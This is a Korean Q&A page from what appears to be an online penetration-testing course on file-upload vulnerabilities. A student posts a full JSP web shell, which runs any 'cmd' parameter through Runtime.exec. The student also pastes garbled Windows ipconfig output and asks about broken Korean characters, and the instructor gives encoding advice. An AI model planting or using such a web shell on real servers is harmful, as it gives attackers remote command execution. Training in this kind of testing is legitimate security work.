inflearn logo
강의

講義
知識共有

模擬ハッキングの実務者が知らせる、ファイルアップロードの脆弱性攻撃のテクニックと実務事例の分析：パート1

JSP 한글 깨짐

652

ohjun

投稿した質問数 19

1

<%@ page language="java" contentType="text/html; charset=EUC-KR" pageEncoding="EUC-KR" %>
<%@ page import="java.io.*" %>
<%
request.setCharacterEncoding("EUC-KR");
%>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=EUC-KR">
    <title>Document</title>
    <style>
        table{
            border: 1px solid black;
            background-color: black;
        }
        td{
            color: white;
            font-size: 12px;

        }
    </style>
</head>
<body>


<%

String cmd = request.getParameter("cmd");
Process ps = null;
BufferedReader br = null;
String line = "";
String result = "";
String now_page = request.getServletPath();

try{
    if(cmd != null){
ps = Runtime.getRuntime().exec(cmd);
br = new BufferedReader(new InputStreamReader(ps.getInputStream()));

while((line = br.readLine())!= null){
    result += line + "<br>";
}
ps.destroy();
    }
}
finally{
    if(br != null) br.close();
}
%>
<form action="<%=now_page%>" methoad="POST">
    <input type="text" name="cmd">
    <input type="submit" value="EXECUTE">
</form>
<hr>
<table>
    <tr>
        <td><%=result%></td>
    </tr>
</table>
</body>
</html>
 

Windows IP ????


????? ????? ?????:

???? ???? . . . . . . . . : ???? ???? ????
???? DNS ?????. . . . :

????? ????? VirtualBox Host-Only Network:

???? DNS ?????. . . . :
???-???? IPv6 ??? . . . . : fe80::d4ff:e196:65b7:8e31%12
IPv4 ??? . . . . . . . . . : 192.168.56.1
????? ????? . . . . . . . : 255.255.255.0
?? ????????? . . . . . . :

????? ????? Npcap Loopback Adapter:

???? DNS ?????. . . . :
???-???? IPv6 ??? . . . . : fe80::58f7:a775:f5e8:992%16
??? ???? IPv4 ??? . . . . : 169.254.9.146
????? ????? . . . . . . . : 255.255.0.0
?? ????????? . . . . . . :

???? LAN ????? ???? ???? ????* 2:

???? ???? . . . . . . . . : ???? ???? ????
???? DNS ?????. . . . :

???? LAN ????? ???? ???? ????* 3:

???? ???? . . . . . . . . : ???? ???? ????
???? DNS ?????. . . . :

????? ????? VMware Network Adapter VMnet1:

???? DNS ?????. . . . :
???-???? IPv6 ??? . . . . : fe80::f1ac:f03a:410c:dce8%8
??? ???? IPv4 ??? . . . . : 169.254.220.232
????? ????? . . . . . . . : 255.255.0.0
?? ????????? . . . . . . :

????? ????? VMware Network Adapter VMnet8:

???? DNS ?????. . . . :
???-???? IPv6 ??? . . . . : fe80::3d53:cac6:432c:144d%14
??? ???? IPv4 ??? . . . . : 169.254.20.77
????? ????? . . . . . . . : 255.255.0.0
?? ????????? . . . . . . :

???? LAN ????? Wi-Fi:

???? DNS ?????. . . . :
???-???? IPv6 ??? . . . . : fe80::61d4:9204:78ca:69c%3
IPv4 ??? . . . . . . . . . : 192.168.0.5
????? ????? . . . . . . . : 255.255.255.0
?? ????????? . . . . . . : 192.168.0.1

????? ????? Bluetooth ?????? ???? 2:

???? ???? . . . . . . . . : ???? ???? ????
???? DNS ?????. . . . :
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="java.io.*" %>
<%
request.setCharacterEncoding("UTF-8");
%>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>Document</title>
    <style>
        table{
            border: 1px solid black;
            background-color: black;
        }
        td{
            color: white;
            font-size: 12px;

        }
    </style>
</head>
<body>


<%

String cmd = request.getParameter("cmd");
Process ps = null;
BufferedReader br = null;
String line = "";
String result = "";
String now_page = request.getServletPath();

try{
    if(cmd != null){
ps = Runtime.getRuntime().exec(cmd);
br = new BufferedReader(new InputStreamReader(ps.getInputStream()));

while((line = br.readLine())!= null){
    result += line + "<br>";
}
ps.destroy();
    }
}
finally{
    if(br != null) br.close();
}
%>
<form action="<%=now_page%>" methoad="POST">
    <input type="text" name="cmd">
    <input type="submit" value="EXECUTE">
</form>
<hr>
<table>
    <tr>
        <td><%=result%></td>
    </tr>
</table>
</body>
</html>
 

Windows IP ����


�̴��� ����� �̴���:

�̵�� ���� . . . . . . . . : �̵�� ���� ����
���Ằ DNS ���̻�. . . . :

�̴��� ����� VirtualBox Host-Only Network:

���Ằ DNS ���̻�. . . . :
��ũ-���� IPv6 �ּ� . . . . : fe80::d4ff:e196:65b7:8e31%12
IPv4 �ּ� . . . . . . . . . : 192.168.56.1
����� ����ũ . . . . . . . : 255.255.255.0
�⺻ ����Ʈ���� . . . . . . :

�̴��� ����� Npcap Loopback Adapter:

���Ằ DNS ���̻�. . . . :
��ũ-���� IPv6 �ּ� . . . . : fe80::58f7:a775:f5e8:992%16
�ڵ� ���� IPv4 �ּ� . . . . : 169.254.9.146
����� ����ũ . . . . . . . : 255.255.0.0
�⺻ ����Ʈ���� . . . . . . :

���� LAN ����� ���� ���� ����* 2:

�̵�� ���� . . . . . . . . : �̵�� ���� ����
���Ằ DNS ���̻�. . . . :

���� LAN ����� ���� ���� ����* 3:

�̵�� ���� . . . . . . . . : �̵�� ���� ����
���Ằ DNS ���̻�. . . . :

�̴��� ����� VMware Network Adapter VMnet1:

���Ằ DNS ���̻�. . . . :
��ũ-���� IPv6 �ּ� . . . . : fe80::f1ac:f03a:410c:dce8%8
�ڵ� ���� IPv4 �ּ� . . . . : 169.254.220.232
����� ����ũ . . . . . . . : 255.255.0.0
�⺻ ����Ʈ���� . . . . . . :

�̴��� ����� VMware Network Adapter VMnet8:

���Ằ DNS ���̻�. . . . :
��ũ-���� IPv6 �ּ� . . . . : fe80::3d53:cac6:432c:144d%14
�ڵ� ���� IPv4 �ּ� . . . . : 169.254.20.77
����� ����ũ . . . . . . . : 255.255.0.0
�⺻ ����Ʈ���� . . . . . . :

���� LAN ����� Wi-Fi:

���Ằ DNS ���̻�. . . . :
��ũ-���� IPv6 �ּ� . . . . : fe80::61d4:9204:78ca:69c%3
IPv4 �ּ� . . . . . . . . . : 192.168.0.5
����� ����ũ . . . . . . . : 255.255.255.0
�⺻ ����Ʈ���� . . . . . . : 192.168.0.1

�̴��� ����� Bluetooth ��Ʈ��ũ ���� 2:

�̵�� ���� . . . . . . . . : �̵�� ���� ����
���Ằ DNS ���̻�. . . . :

한글이 깨집니다. 저번에 php때도 깨져서 EUC-KR로 바꾸니까 잘 해결됬는데 JSP는 해결이 안되네요.

모의해킹

回答 1

0

crehacktive

저는 위에 코드로 하니 다음과 같이 한글 출력이 잘되네요.

위의 코드는 코드 상으로 인코딩 셋 설정이 올바르게 되어 있습니다.

혹시, 문서 저장 시 문서에 대한 인코딩 셋도 확인해보실래요?

혹은 문서에 대한 인코딩 셋.

0

ohjun

인코딩 셋 UTF-8 / EUC-KR 둘다 해봐도 한글이 ???? 물음표로 뜨네요

톰캣 매니저를 통한 WAR 디플로이 실습에서 궁금한 점이 있습니다

1

424

1

APM 설치 환경 질문드립니다.

1

387

1

안녕하세요 포트관련 질문 드립니다!

1

281

1

안녕하세요 질문이 있습니다!

1

298

1

안녕하세요 질문이 있습니다

1

237

1

img_upload1 이미지 파일 업로드 오류(해결O)

1

632

1

bitnami 사용중인데 널바이트 입력 시 fatal error가 발생합니다

1

386

1

인코딩, cmd 파라미터 오류

2

346

1

jsp 업로드 기능 실행 시 오류가 발생합니다

1

781

1

upload_prob10 에러 문제

0

253

0

톰캣 매니저

1

400

1

업로드 경로가 이미지 or 파일서버일 경우 문의드립니다!

1

307

1

system.getProperty("os.name").toLowerCase() 실행이 안됨

1

369

1

IIS 세미콜론 취약점 대응방안

1

253

1

jsp 환경에서도 널바이트 공격이 가능한가요?

2

342

1

수업내용대로 진행했는데 적용이 안됩니다.

1

244

1

강의 내용 질문드립니다. (파일업로드 공격대상 탐색CASE(2)강의)

1

220

1

[실습4-14] 이미지 검증 우회 실습(2)

1

453

1

%00 사용하면 오류 발생

1

555

1

upload_prob10 설정 문제

1

865

1

system() 함수 결과값 한글 깨짐 현상

1

359

1

JSP 오류 뜹니다.

2

5147

2

선생님 ㅠㅠ 안됩니다.

1

3083

1

안녕하세요

2

197

1